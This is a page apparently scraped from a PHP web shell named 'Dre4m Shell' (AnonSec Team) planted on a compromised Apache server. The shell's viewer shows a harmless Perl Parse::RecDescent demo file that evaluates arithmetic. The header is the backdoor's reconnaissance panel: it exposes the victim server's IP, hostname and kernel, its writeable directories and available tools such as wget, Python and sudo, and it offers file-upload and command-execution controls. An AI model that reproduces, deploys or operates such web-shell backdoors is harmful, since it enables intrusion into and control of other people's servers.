Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.138.214
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/libparse-recdescent-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/libparse-recdescent-perl/examples/demo_leftop.pl
#!/usr/bin/perl -ws

# THE COMMONEST REASON FOR WANTING LEFT RECURSION

use strict;
use Parse::RecDescent; $::RD_HINT = 1;

sub Parse::RecDescent::evalop {
	$_[0][0] = $_[0][$_+1](@{$_[0]}[0,$_+2])
		for map 2*($_-1), 1..@{$_[0]}/2;
	return $_[0][0];
}

my $parse = Parse::RecDescent->new(<<'EndGrammar');

	main: expr /\Z/ { $item[1] }
	    | <error>

	expr: <leftop:term add_op term>
			{ evalop($item[1]) }

	add_op: '+'	{ sub { $_[0] += $_[1] } }
	      | '-'	{ sub { $_[0] -= $_[1] } }

	term: <leftop:factor mult_op factor>
			{ evalop($item[1]) }

	mult_op: '*'	{ sub { $_[0] *= $_[1] } }
	       | '/'	{ sub { $_[0] /= $_[1] } }

	factor: number
	      | '(' expr ')' { $item[2] }

	number: /[-+]?\d+(\.\d+)?/

EndGrammar

while (<DATA>) {
  print "$_ = ", $parse->main($_), "\n";
}

while (print "> " and defined($_=<>)) {
  print "= ", $parse->main($_), "\n";
}

__DATA__
2+3
2*3
+1-1+1-1+1-1+1-1+1
7*7-6*8
121/(121/11)/121*11
1/(10-1/(1/(10-1)))

Anon7 - 2022
AnonSec Team